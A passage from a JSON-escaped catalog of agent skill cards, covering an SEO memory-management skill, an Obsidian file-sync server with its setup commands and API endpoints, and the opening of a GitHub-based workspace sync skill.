systematically\n\n## How to Use\n\n### Initialize Memory Structure\n\n```\nSet up SEO memory for [project name]\n```\n\n```\nInitialize memory structure for a new [industry] website optimization project\n```\n\n### Update After Analysis\n\n```\nUpdate memory after ranking check for [keyword group]\n```\n\n```\nRefresh hot cache with latest competitor analysis findings\n```\n\n### Query Stored Context\n\n```\nWhat are our hero keywords?\n```\n\n```\nShow me the last ranking update date for [keyword category]\n```\n\n```\nLook up our primary competitors and their domain authority\n```\n\n### Promotion and Demotion\n\n```\nPromote [keyword] to hot cache\n```\n\n```\nArchive stale data that hasn't been referenced in 30+ days\n```\n\n### Glossary Management\n\n```\nAdd [term] to project glossary: [definition]\n```\n\n```\nWhat does [internal jargon] mean in this project?\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~SEO tool + ~~analytics + ~~search console connected:**\nAutomatically populate memory from historical data: keyword rankings over time, competitor domain authority changes, traffic metrics, conversion data, backlink profile evolution. The skill will fetch current rankings, alert on significant changes, and update both hot cache and cold storage.\n\n**With manual data only:**\nAsk the user to provide:\n1. Current target keywords with priority levels\n2. Primary competitors (3-5 domains)\n3. Key performance metrics and last update date\n4. Active campaigns and their status\n5. Any project-specific terminology or abbreviations\n\nProceed with memory structure creation using provided data. Note in CLAUDE.md which data requires manual updates vs. automated refresh.\n\n## Instructions\n\nWhen a user requests SEO memory management:\n\n### 1. Initialize Memory Structure\n\nFor new projects, create the following structure:\n\n```markdown\n## Directory Structure\n\nproject-root/\n\u251c\u2500\u2500 CLAUDE.md # Hot cache (~100 lines)\n\u2514\u2500\u2500 memory/\n \u251c\u2500\u2500 glossary.md # Project terminology\n \u251c\u2500\u2500 keywords/\n \u2502 \u251c\u2500\u2500 hero-keywords.md # Top priority keywords\n \u2502 \u251c\u2500\u2500 secondary-keywords.md # Medium priority\n \u2502 \u251c\u2500\u2500 long-tail-keywords.md # Long-tail opportunities\n \u2502 \u2514\u2500\u2500 historical-rankings.csv # Dated ranking data\n \u251c\u2500\u2500 competitors/\n \u2502 \u251c\u2500\u2500 primary-competitors.md # Top 3-5 competitors\n \u2502 \u251c\u2500\u2500 [competitor-domain].md # Individual reports\n \u2502 \u2514\u2500\u2500 analysis-history/ # Dated analyses\n \u251c\u2500\u2500 audits/\n \u2502 \u251c\u2500\u2500 technical/ # Technical SEO audits\n \u2502 \u251c\u2500\u2500 content/ # Content audits\n \u2502 \u251c\u2500\u2500 domain/ # Domain authority (CITE) audits\n \u2502 \u2514\u2500\u2500 backlink/ # Backlink audits\n \u251c\u2500\u2500 content-calendar/\n \u2502 \u251c\u2500\u2500 active-calendar.md # Current quarter\n \u2502 \u251c\u2500\u2500 published-content.md # Performance tracking\n \u2502 \u2514\u2500\u2500 archive/ # Past calendars\n \u2514\u2500\u2500 reports/\n \u251c\u2500\u2500 monthly/ # Monthly reports\n \u251c\u2500\u2500 quarterly/ # Quarterly reports\n \u2514\u2500\u2500 campaign/ # Campaign-specific reports\n```\n\n### 2. Hot Cache (CLAUDE.md) Structure\n\nCreate or update CLAUDE.md with this template:\n\n```markdown\n# [Project Name] - SEO Memory (Hot Cache)\n\n**Last Updated**: [Date]\n**Project Status**: [Active/Maintenance/Growth]\n\n## Active Target Keywords (Top 10-20)\n\n### Hero Keywords (Priority 1)\n| Keyword | Current Rank | Target Rank | Volume | Status |\n|---------|--------------|-------------|--------|--------|\n| [keyword 1] | #[X] | #[Y] | [vol] | [tracking/optimizing/achieved] |\n| [keyword 2] | #[X] | #[Y] | [vol] | [tracking/optimizing/achieved] |\n\n### Secondary Keywords (Priority 2)\n| Keyword | Current Rank | Target Rank | Volume | Status |\n|---------|--------------|-------------|--------|--------|\n| [keyword 1] | #[X] | #[Y] | [vol] | [tracking/optimizing/achieved] |\n\n_Full keyword database: memory/keywords/_\n\n## Primary Competitors (Top 3-5)\n\n1. **[Competitor 1]** (DA: [X])\n - Main strengths: [brief]\n - Our position vs. them: [ahead/behind/competitive]\n\n2. **[Competitor 2]** (DA: [X])\n - Main strengths: [brief]\n - Our position vs. them: [ahead/behind/competitive]\n\n_Detailed analyses: memory/competitors/_\n\n## Current Optimization Priorities\n\n1. **[Priority 1]** - [Brief description]\n - Status: [not started/in progress/completed]\n - Expected impact: [high/medium/low]\n - Deadline: [date]\n\n2. **[Priority 2]** - [Brief description]\n - Status: [not started/in progress/completed]\n - Expected impact: [high/medium/low]\n - Deadline: [date]\n\n## Key Metrics Snapshot\n\n**Last Metrics Update**: [Date]\n\n| Metric | Current | Previous | Change | Target |\n|--------|---------|----------|--------|--------|\n| Organic Traffic | [X] | [X] | [+/-X%] | [target] |\n| Avg. Position | [X] | [X] | [+/-X] | [target] |\n| Total Keywords Ranking | [X] | [X] | [+/-X] | [target] |\n| Page 1 Rankings | [X] | [X] | [+/-X] | [target] |\n| Domain Authority | [X] | [X] | [+/-X] | [target] |\n| CITE Score | [X] | [X] | [+/-X] | [target] |\n| Last Content Audit Score | [score]/100 | ([rating]) | \u2014 [date] | [page audited] |\n| Total Backlinks | [X] | [X] | [+/-X%] | [target] |\n\n_Historical data: memory/reports/_\n\n## Active Campaigns\n\n### [Campaign Name 1]\n- **Duration**: [Start date] - [End date]\n- **Goal**: [Specific goal]\n- **Status**: [planning/active/completed]\n- **Progress**: [X]%\n- **Key activities**: [brief list]\n\n### [Campaign Name 2]\n- **Duration**: [Start date] - [End date]\n- **Goal**: [Specific goal]\n- **Status**: [planning/active/completed]\n- **Progress**: [X]%\n- **Key activities**: [brief list]\n\n_Campaign archives: memory/reports/campaign/_\n\n## Quick Reference Notes\n\n- [Important note 1]\n- [Important note 2]\n- [Important note 3]\n\n_For project terminology, see: memory/glossary.md_\n```\n\n### 3. Glossary Structure (memory/glossary.md)\n\n```markdown\n# [Project Name] - SEO Glossary\n\n**Purpose**: Project-specific terminology, brand terms, internal jargon, and abbreviations.\n\n**Last Updated**: [Date]\n\n## Brand Terms\n\n| Term | Full Name | Context |\n|------|-----------|---------|\n| [abbreviation] | [full name] | [when/how it's used] |\n\n## Product Names\n\n| Internal Name | Public Name | Category |\n|---------------|-------------|----------|\n| [code name] | [market name] | [product type] |\n\n## Custom Segments\n\n| Segment Name | Definition | Keyword Count |\n|--------------|------------|---------------|\n| Hero KWs | Top 10 revenue-driving keywords | 10 |\n| Quick Wins | Low-difficulty, high-value targets | 25 |\n| Brand Defense | Brand + modifier combinations | 15 |\n\n## Competitor Shorthand\n\n| Shorthand | Full Domain | Notes |\n|-----------|-------------|-------|\n| Comp A | competitor-a.com | Main competitor, [industry] |\n| Comp B | competitor-b.com | Niche competitor, [specialty] |\n\n## Project Acronyms\n\n| Acronym | Full Term | Definition |\n|---------|-----------|------------|\n| [ABC] | [Full term] | [What it means in this project] |\n\n## Internal Jargon\n\n| Phrase | Meaning | Example Usage |\n|--------|---------|---------------|\n| [phrase] | [definition] | \"Check rankings for [phrase]\" |\n\n## Historical Context\n\n- **Project started**: [Date]\n- **Major algorithm updates affecting us**: [List with dates]\n- **Site migrations/redesigns**: [List with dates]\n- **Key milestones**: [List with dates]\n\n---\n\n_This glossary helps decode project shorthand and maintain consistency across reports and communications._\n```\n\n### 4. Context Lookup Flow\n\nWhen a user references something unclear, follow this lookup sequence:\n\n**Step 1: Check CLAUDE.md (Hot Cache)**\n- Is it in active keywords?\n- Is it in primary competitors?\n- Is it in current priorities or campaigns?\n\n**Step 2: Check memory/glossary.md**\n- Is it defined as project terminology?\n- Is it a custom segment or shorthand?\n\n**Step 3: Check Cold Storage**\n- Search memory/keywords/ for historical data\n- Search memory/competitors/ for past analyses\n- Search memory/reports/ for archived mentions\n\n**Step 4: Ask User**\n- If not found in any layer, ask for clarification\n- Log the new term in glossary if it's project-specific\n\nExample lookup:\n\n```markdown\nUser: \"Update rankings for our hero KWs\"\n\nStep 1: Check CLAUDE.md \u2192 Found \"Hero Keywords (Priority 1)\" section\nStep 2: Extract keyword list from hot cache\nStep 3: Execute ranking check\nStep 4: Update both CLAUDE.md and memory/keywords/historical-rankings.csv\n```\n\n### 5. Promotion Logic\n\n**Promote to Hot Cache when:**\n\n1. **Keyword promotion triggers:**\n - Keyword referenced in 3+ conversations within 7 days\n - Keyword showing significant movement (5+ position change)\n - Keyword targeted in new active campaign\n - Keyword suddenly driving traffic spike\n\n2. **Competitor promotion triggers:**\n - Competitor mentioned in 3+ recent analyses\n - Competitor showing aggressive SEO activity\n - Competitor launching competing content\n\n3. **Metric promotion triggers:**\n - Metric requested frequently for reporting\n - Metric showing anomalous behavior\n - Metric tied to active priority/campaign\n\n**Promotion action:**\n```markdown\n1. Add item to relevant section in CLAUDE.md\n2. Add note: \"Promoted [date] - [reason]\"\n3. Keep detailed data in cold storage\n4. Set reminder to review in 30 days\n```\n\n### 6. Demotion Logic\n\n**Demote to Cold Storage when:**\n\n1. **Keyword demotion triggers:**\n - Not referenced in 30+ days\n - Target rank achieved and stable for 60+ days\n - Keyword no longer in active strategy\n - Keyword replaced by higher-priority target\n\n2. **Competitor demotion triggers:**\n - No significant activity in 60+ days\n - Fell out of top 5 competitors by relevance\n - No longer targeting same keywords\n\n3. **Campaign demotion triggers:**\n - Campaign completed 30+ days ago\n - Campaign cancelled or postponed indefinitely\n\n**Demotion action:**\n```markdown\n1. Remove from CLAUDE.md\n2. Archive full data in memory/[category]/archive/\n3. Add line to CLAUDE.md: \"Last reviewed [category]: [date]\"\n4. Keep 1-line summary if historically significant\n```\n\n### 7. Update Triggers\n\nAfter specific events, update memory systematically:\n\n**After Ranking Check:**\n```markdown\n1. Update CLAUDE.md \u2192 Hero Keywords table (current ranks)\n2. Append to memory/keywords/historical-rankings.csv\n3. Note any keywords with significant movement\n4. Update \"Last Metrics Update\" date in CLAUDE.md\n5. If hero keyword moves \u00b15 positions, create alert note\n```\n\n**After Competitor Analysis:**\n```markdown\n1. Update CLAUDE.md \u2192 Primary Competitors section (DA, position vs. them)\n2. Save full report to memory/competitors/analysis-history/YYYY-MM-DD-analysis.md\n3. Update individual competitor files if detailed findings\n4. Note new competitor strategies in hot cache\n```\n\n**After Audit (Technical/Content/Backlink):**\n```markdown\n1. Save full report to memory/audits/[type]/YYYY-MM-DD-[audit-name].md\n2. Extract top 3-5 action items \u2192 CLAUDE.md Current Optimization Priorities\n3. Update Key Metrics Snapshot if audit includes metrics\n4. Create campaign entry if audit spawns new initiative\n```\n\n**After Monthly/Quarterly Report:**\n```markdown\n1. Save report to memory/reports/[period]/YYYY-MM-report.md\n2. Update all metrics in CLAUDE.md Key Metrics Snapshot\n3. Review hot cache \u2192 demote stale items\n4. Update campaign statuses\n5. Archive completed campaigns\n```\n\n### 8. Archive Management\n\n**Monthly Archive Routine:**\n\n```markdown\n1. Review CLAUDE.md for items not referenced in 30 days\n2. Move stale items to appropriate cold storage\n3. Create monthly snapshot: memory/snapshots/YYYY-MM-CLAUDE.md\n4. Compress old historical-rankings.csv (keep only last 90 days in main file)\n5. Update glossary with new terms from the month\n```\n\n**Quarterly Archive Routine:**\n\n```markdown\n1. Review entire cold storage structure\n2. Compress files older than 6 months\n3. Create quarterly summary report\n4. Update project timeline in glossary\n5. Audit all active campaigns \u2192 archive completed ones\n```\n\n### 9. Cross-Skill Memory Integration\n\nThis skill coordinates with other SEO skills:\n\n**When keyword-research runs:**\n- Add discovered keywords to memory/keywords/\n- Promote top opportunities to CLAUDE.md if high-value\n- Update glossary if new terminology emerges\n\n**When rank-tracker runs:**\n- Update historical-rankings.csv\n- Refresh CLAUDE.md Hero Keywords table\n- Flag significant movements for hot cache notes\n\n**When competitor-analysis runs:**\n- Update competitor files in memory/competitors/\n- Refresh CLAUDE.md Primary Competitors section\n- Add new competitors if they outrank current top 5\n\n**When content-gap-analysis runs:**\n- Store full findings in memory/audits/content/\n- Promote gap opportunities to CLAUDE.md priorities\n- Update content calendar with recommended topics\n\n**When seo-content-writer produces content:**\n- Log to memory/content-calendar/published-content.md\n- Track target keyword and publish date\n- Set reminder to check performance in 30 days\n\n**When content-quality-auditor runs:**\n- Save full report to `memory/audits/content/YYYY-MM-DD-core-eeat-[page-slug].md`\n- Update CLAUDE.md Key Metrics with latest score\n- If score < 60 (Poor/Low), flag in Active Campaigns section\n- Track dimension scores for trend analysis\n\n**When domain-authority-auditor runs:**\n- Save full report to memory/audits/domain/YYYY-MM-DD-cite-audit.md\n- Update CITE Score in CLAUDE.md Key Metrics Snapshot\n- Note veto item status and dimension scores\n- Compare against previous CITE audit if available\n\n## Validation Checkpoints\n\n### Structure Validation\n- [ ] CLAUDE.md exists and is under 150 lines (aim for ~100)\n- [ ] memory/ directory structure matches template\n- [ ] glossary.md exists and is populated with project basics\n- [ ] All historical data files include timestamps in filename or metadata\n\n### Content Validation\n- [ ] CLAUDE.md \"Last Updated\" date is current\n- [ ] Every keyword in hot cache has current rank, target rank, and status\n- [ ] Every competitor has domain authority and position assessment\n- [ ] Every active campaign has status percentage and expected completion date\n- [ ] Key Metrics Snapshot shows \"Previous\" values for comparison\n\n### Lookup Validation\n- [ ] Test lookup flow: reference a term \u2192 verify it finds it in correct layer\n- [ ] Test promotion: manually promote item \u2192 verify it appears in CLAUDE.md\n- [ ] Test demotion: manually archive item \u2192 verify removed from CLAUDE.md\n- [ ] Glossary contains all custom segments and shorthand used in CLAUDE.md\n\n### Update Validation\n- [ ] After ranking check, historical-rankings.csv has new row with today's date\n- [ ] After competitor analysis, analysis-history/ has dated file\n- [ ] After audit, top action items appear in CLAUDE.md priorities\n- [ ] After monthly report, metrics snapshot reflects new data\n\n## Example\n\n**User**: \"Update rankings for our hero keywords\"\n\n**Assistant**:\n\n```markdown\nI'll update rankings for your hero keywords. Let me check the hot cache for the list.\n\n[Reads CLAUDE.md, finds Hero Keywords section:]\n- keyword research tools (currently #15, target #5)\n- best seo software (currently #23, target #10)\n- free backlink checker (currently #8, target #3)\n- content optimization guide (currently #12, target #5)\n- technical seo audit (currently #18, target #8)\n\n[If ~~SEO tool connected: runs automated ranking check]\n[If manual: asks user for current rankings]\n\n---\n\n## Ranking Update - December 15, 2024\n\n| Keyword | Previous | Current | Change | Target | Status |\n|---------|----------|---------|--------|--------|--------|\n| keyword research tools | #15 | #12 | \u21913 | #5 | Improving \u2b50 |\n| best seo software | #23 | #24 | \u21931 | #10 | Stable |\n| free backlink checker | #8 | #6 | \u21912 | #3 | Near target \u2b50\u2b50 |\n| content optimization guide | #12 | #11 | \u21911 | #5 | Improving |\n| technical seo audit | #18 | #16 | \u21912 | #8 | Improving |\n\n### Notable Changes\n- **free backlink checker** moved to #6 (only 3 positions from target!)\n- **keyword research tools** gained 3 positions (strong movement)\n- All other keywords showing stable or positive movement\n\n### Updated Files\n1. CLAUDE.md \u2192 Hero Keywords table updated with current ranks\n2. memory/keywords/historical-rankings.csv \u2192 New row added:\n `2024-12-15,keyword research tools,12,best seo software,24,free backlink checker,6,...`\n\n### Recommendations\n1. Push additional content/backlinks to \"free backlink checker\" pages to hit #3 target\n2. Investigate why \"keyword research tools\" suddenly gained 3 positions (replicate success)\n3. Monitor \"best seo software\" for any negative trends\n\nHot cache refreshed. Next ranking check recommended: December 22, 2024.\n```\n\n---\n\n**User**: \"What does 'quick wins' mean in our project?\"\n\n**Assistant**:\n\n```markdown\nLet me look that up in the project memory.\n\n[Step 1: Check CLAUDE.md \u2192 not found]\n[Step 2: Check memory/glossary.md \u2192 found!]\n\nFrom your project glossary:\n\n**Quick Wins**\n- **Definition**: Low-difficulty, high-value target keywords\n- **Keyword Count**: 25 keywords\n- **Context**: This segment includes keywords where you can achieve page 1 rankings within 30-60 days due to low competition, despite having decent search volume\n\nAccording to your memory files, your current quick wins are stored in:\n`memory/keywords/long-tail-keywords.md` (tagged with \"quick-win\" label)\n\nWould you like me to show you the current list of quick win keywords?\n```\n\n---\n\n**User**: \"Set up memory for a new e-commerce site selling outdoor gear\"\n\n**Assistant**:\n\n```markdown\nI'll set up the two-layer memory system for your outdoor gear e-commerce site.\n\n## Creating Directory Structure\n\n[Creates: memory/glossary.md, memory/keywords/, memory/competitors/, etc.]\n\n## CLAUDE.md (Hot Cache) - Initial Setup\n\nI'll need some information to populate the hot cache:\n\n1. **Target Keywords**: What are your top 10 hero keywords?\n (e.g., \"hiking backpacks\", \"camping tents\", \"outdoor clothing\")\n\n2. **Primary Competitors**: Who are your top 3-5 competitors?\n (e.g., rei.com, backcountry.com, moosejaw.com)\n\n3. **Current Metrics** (if available):\n - Domain authority?\n - Current organic traffic?\n - Any existing rankings?\n\n4. **Active Initiatives**:\n - Are you launching a new category?\n - Running a content campaign?\n - Focusing on any specific product line?\n\n5. **Project Terminology**:\n - Any internal product names or abbreviations?\n - How do you segment your keyword strategy?\n\nPlease provide what you have, and I'll create your initial CLAUDE.md and glossary. We can start with basics and enrich as we gather more data.\n\n---\n\nOnce you provide this information, I'll generate:\n- CLAUDE.md with your initial hot cache\n- memory/glossary.md with project terminology\n- memory/keywords/ structure with placeholder files\n- memory/competitors/ with initial competitor list\n- memory/content-calendar/active-calendar.md for Q1 2025\n\nAfter setup, you can use commands like:\n- \"Update rankings for hero keywords\"\n- \"Add new competitor [domain]\"\n- \"Promote [keyword] to hot cache\"\n- \"Archive campaigns from Q3 2024\"\n```\n\n## Advanced Features\n\n### Smart Context Loading\n\n```\nLoad full context for [campaign name]\n```\n\nRetrieves hot cache + all cold storage files related to campaign.\n\n### Memory Health Check\n\n```\nRun memory health check\n```\n\nAudits memory structure: finds orphaned files, missing timestamps, stale hot cache items, broken references.\n\n### Bulk Promotion/Demotion\n\n```\nPromote all keywords ranking in top 10 to hot cache\n```\n\n```\nDemote all completed campaigns from Q3 2024\n```\n\n### Memory Snapshot\n\n```\nCreate memory snapshot for [date/milestone]\n```\n\nTakes point-in-time copy of entire memory structure for major milestones (site launches, algorithm updates, etc.).\n\n### Cross-Project Memory\n\n```\nCompare memory with [other project name]\n```\n\nIdentifies keyword overlaps, competitor intersections, and strategy similarities across multiple projects.\n\n## Practical Limitations\n\n- **Concurrent access**: If multiple Claude sessions update memory simultaneously, later writes may overwrite earlier ones. Mitigate by using timestamped filenames for audit reports rather than overwriting a single file.\n- **Cold storage retrieval**: Files in `memory/` subdirectories are only loaded when explicitly requested. They do not appear in Claude's context automatically. The hot cache (`CLAUDE.md`) is the primary cross-session mechanism.\n- **CLAUDE.md size**: The hot cache should stay concise (<200 lines). If it grows too large, archive older metrics to cold storage.\n- **Data freshness**: Memory reflects the last time each skill was run. Stale data (>90 days) should be flagged for refresh.\n\n## Tips for Success\n\n1. **Keep hot cache lean** - CLAUDE.md should never exceed 150 lines. If it grows larger, aggressively demote.\n\n2. **Date everything** - Every file in cold storage should have YYYY-MM-DD in filename or prominent metadata.\n\n3. **Update after every significant action** - Don't let memory drift from reality. Update immediately after ranking checks, audits, or reports.\n\n4. **Use glossary liberally** - If you find yourself explaining a term twice, add it to glossary.\n\n5. **Review hot cache weekly** - Quick scan to ensure everything there is still relevant and active.\n\n6. **Automate where possible** - If ~~SEO tool or ~~search console connected, set up automatic updates to historical-rankings.csv.\n\n7. **Archive aggressively** - Better to have data in cold storage and not need it than clutter hot cache.\n\n8. **Link between layers** - CLAUDE.md should always reference where detailed data lives (\"Full data: memory/keywords/\").\n\n9. **Timestamp changes** - When updating CLAUDE.md, always update \"Last Updated\" date.\n\n10. **Use memory for continuity** - If you switch between different analysis sessions, memory ensures nothing is forgotten.\n\n## Reference Materials\n\n- [CORE-EEAT Content Benchmark](../../references/core-eeat-benchmark.md) \u2014 Content quality scoring stored in memory\n- [CITE Domain Rating](../../references/cite-domain-rating.md) \u2014 Domain authority scoring stored in memory\n\n## Related Skills\n\n- [rank-tracker](../../monitor/rank-tracker/) \u2014 Provides ranking data to update memory\n- [competitor-analysis](../../research/competitor-analysis/) \u2014 Generates competitor reports for storage\n- [keyword-research](../../research/keyword-research/) \u2014 Discovers keywords to add to memory\n- [performance-reporter](../../monitor/performance-reporter/) \u2014 Creates reports that trigger memory updates\n- [content-gap-analysis](../../research/content-gap-analysis/) \u2014 Identifies optimization priorities for hot cache\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Logs published content to memory calendar\n- [content-quality-auditor](../content-quality-auditor/) \u2014 Content audit results stored in memory for tracking\n- [domain-authority-auditor](../domain-authority-auditor/) \u2014 CITE domain audit results stored in memory for tracking\n- [entity-optimizer](../entity-optimizer/) \u2014 Store entity audit results for tracking over time\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/memory-management/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/memory-management/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/memory-management/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/memory-management/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/memory-management/SKILL.md", "importedAt": "2026-02-18T19:24:21.005Z"}}}}, {"slug": "clawhub-obsidian-sync", "name": "Obsidian Sync Server", "category": "Storage", "description": "A secure file sync server for two-way synchronization between Clawdbot and Obsidian.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Obsidian Sync Server", "slug": "clawhub-obsidian-sync", "version": "1.0.0", "description": "--- name: obsidian-sync description: Sync files between Clawdbot workspace and Obsidian. Run the sync server to enable two-way file synchronization with the OpenClaw Obsidian plugin. ---", "documentation_md": "---\nname: obsidian-sync\ndescription: Sync files between Clawdbot workspace and Obsidian. Run the sync server to enable two-way file synchronization with the OpenClaw Obsidian plugin.\n---\n\n# Obsidian Sync Server\n\nA secure file sync server for two-way synchronization between Clawdbot and Obsidian.\n\n> **\ud83d\udce6 This skill is part of [obsidian-openclaw](https://github.com/AndyBold/obsidian-openclaw)** \n> An Obsidian plugin that lets you chat with your Clawdbot agent and sync notes between your vault and the agent's workspace.\n\n## Quick Start\n\n```bash\nSYNC_TOKEN=\"your-gateway-token\" node scripts/sync-server.mjs\n```\n\n## Configuration\n\n| Environment Variable | Default | Description |\n|---------------------|---------|-------------|\n| `SYNC_PORT` | `18790` | Server port |\n| `SYNC_BIND` | `localhost` | Bind address |\n| `SYNC_WORKSPACE` | `/data/clawdbot` | Root workspace path |\n| `SYNC_TOKEN` | (required) | Auth token (use Gateway token) |\n| `SYNC_ALLOWED_PATHS` | `notes,memory` | Comma-separated allowed subdirectories |\n\n## Security\n\n- Only configured subdirectories are accessible\n- Path traversal (`../`) is blocked\n- All requests require `Authorization: Bearer <token>`\n- Bind to localhost; expose via Tailscale serve for remote access\n\n## API Endpoints\n\n| Method | Endpoint | Description |\n|--------|----------|-------------|\n| GET | `/sync/status` | Health check |\n| GET | `/sync/list?path=notes` | List markdown files |\n| GET | `/sync/read?path=notes/x.md` | Read file + metadata |\n| POST | `/sync/write?path=notes/x.md` | Write file (conflict detection) |\n\n## Exposing via Tailscale\n\n```bash\ntailscale serve --bg --https=18790 http://localhost:18790\n```\n\n## Running as a Service\n\n### User systemd service\n\n```bash\nmkdir -p ~/.config/systemd/user\n\ncat > ~/.config/systemd/user/openclaw-sync.service << 'EOF'\n[Unit]\nDescription=OpenClaw Sync Server\nAfter=network.target\n\n[Service]\nType=simple\nEnvironment=SYNC_TOKEN=your-token-here\nEnvironment=SYNC_WORKSPACE=/data/clawdbot\nEnvironment=SYNC_ALLOWED_PATHS=notes,memory\nExecStart=/usr/bin/node /path/to/skills/obsidian-sync/scripts/sync-server.mjs\nRestart=on-failure\nRestartSec=5\n\n[Install]\nWantedBy=default.target\nEOF\n\nsystemctl --user daemon-reload\nsystemctl --user enable --now openclaw-sync\nloginctl enable-linger $USER # Start on boot\n```\n\n## Obsidian Plugin\n\nThis skill provides the backend for the **OpenClaw Obsidian plugin**:\n\n**[github.com/AndyBold/obsidian-openclaw](https://github.com/AndyBold/obsidian-openclaw)**\n\nThe plugin provides:\n- \ud83d\udcac **Chat sidebar** \u2014 Talk to your Clawdbot agent from Obsidian\n- \ud83d\udcc1 **File actions** \u2014 Create, edit, delete notes via conversation\n- \ud83d\udd04 **Two-way sync** \u2014 Keep notes synchronized between vault and agent\n- \ud83d\udd12 **Secure storage** \u2014 OS keychain integration for tokens\n- \ud83d\udccb **Audit logging** \u2014 Track all file operations\n\nInstall the plugin via [BRAT](https://github.com/TfTHacker/obsidian42-brat) using: `AndyBold/obsidian-openclaw`\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/andybold/obsidian-sync/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/andybold/obsidian-sync/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/andybold/obsidian-sync/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/andybold/obsidian-sync/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/andybold/obsidian-sync/SKILL.md", "importedAt": "2026-02-18T19:26:30.673Z"}}}}, {"slug": "clawhub-claw-sync", "name": "Claw Sync", "category": "DevTools", "description": "Secure, versioned sync for OpenClaw memory and workspace to GitHub.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Claw Sync", "slug": "clawhub-claw-sync", "version": "1.0.0", "description": "--- name: claw-sync description: Secure sync for OpenClaw memory and workspace. Use /sync to push, /restore to pull, /sync-status to check. Supports versioned snapshots and disaster recovery. version: 2.0.2 author: arakichanxd repository: https://github.com/arakichanxd/Claw-Sync tags: - sync - github - memory - skills - disaster-recovery files: - name: SKILL.md url: https://github.com/arakichanxd/Claw-Sync/blob/main/SKILL.md - name: README.md url: https://github.com/arakichanxd/Claw-Sync/blob/main/README.md - name: index.js url: https://github.com/arakichanxd/Claw-Sync/blob/main/index.js - name: package.json url: https://github.com/arakichanxd/Claw-Sync/blob/main/package.json - name: config.example.env url: https://github.com/arakichanxd/Claw-Sync/blob/main/config.example.env - name: scripts/push.js url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/push.js - name: scripts/pull.js url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/pull.js - name: scripts/status.js url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/status.js - name: scripts/setup-cron.js url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/setup-cron.js commands: - name: sync description: Push memory and skills to remote repository usage: /sync [--dry-run] run: node skills/claw-sync/index.js sync - name: restore description: Restore memory and skills from remote usage: /restore [latest|<version>] [--force] run: node skills/claw-sync/index.js restore - name: sync-status description: Show sync configuration and local snapshots usage: /sync-status run: node skills/claw-sync/index.js status - name: sync-list description: List all available sync versions usage: /sync-list run: node skills/claw-sync/index.js list ---", "documentation_md": "---\nname: claw-sync\ndescription: Secure sync for OpenClaw memory and workspace. Use /sync to push, /restore to pull, /sync-status to check. Supports versioned snapshots and disaster recovery.\nversion: 2.0.2\nauthor: arakichanxd\nrepository: https://github.com/arakichanxd/Claw-Sync\ntags:\n - sync\n - github\n - memory\n - skills\n - disaster-recovery\nfiles:\n - name: SKILL.md\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/SKILL.md\n - name: README.md\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/README.md\n - name: index.js\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/index.js\n - name: package.json\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/package.json\n - name: config.example.env\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/config.example.env\n - name: scripts/push.js\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/push.js\n - name: scripts/pull.js\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/pull.js\n - name: scripts/status.js\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/status.js\n - name: scripts/setup-cron.js\n url: https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/setup-cron.js\ncommands:\n - name: sync\n description: Push memory and skills to remote repository\n usage: /sync [--dry-run]\n run: node skills/claw-sync/index.js sync\n - name: restore\n description: Restore memory and skills from remote\n usage: /restore [latest|<version>] [--force]\n run: node skills/claw-sync/index.js restore\n - name: sync-status\n description: Show sync configuration and local snapshots\n usage: /sync-status\n run: node skills/claw-sync/index.js status\n - name: sync-list\n description: List all available sync versions\n usage: /sync-list\n run: node skills/claw-sync/index.js list\n---\n\n# Claw Sync\n\nSecure, versioned sync for OpenClaw memory and workspace to GitHub.\n\n**Repository:** https://github.com/arakichanxd/Claw-Sync\n\n## File References\n\n| File | Description | Link |\n|------|-------------|------|\n| `SKILL.md` | AI agent instructions | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/SKILL.md) |\n| `README.md` | User documentation | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/README.md) |\n| `index.js` | Command router | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/index.js) |\n| `package.json` | NPM config | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/package.json) |\n| `scripts/push.js` | Sync to remote | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/push.js) |\n| `scripts/pull.js` | 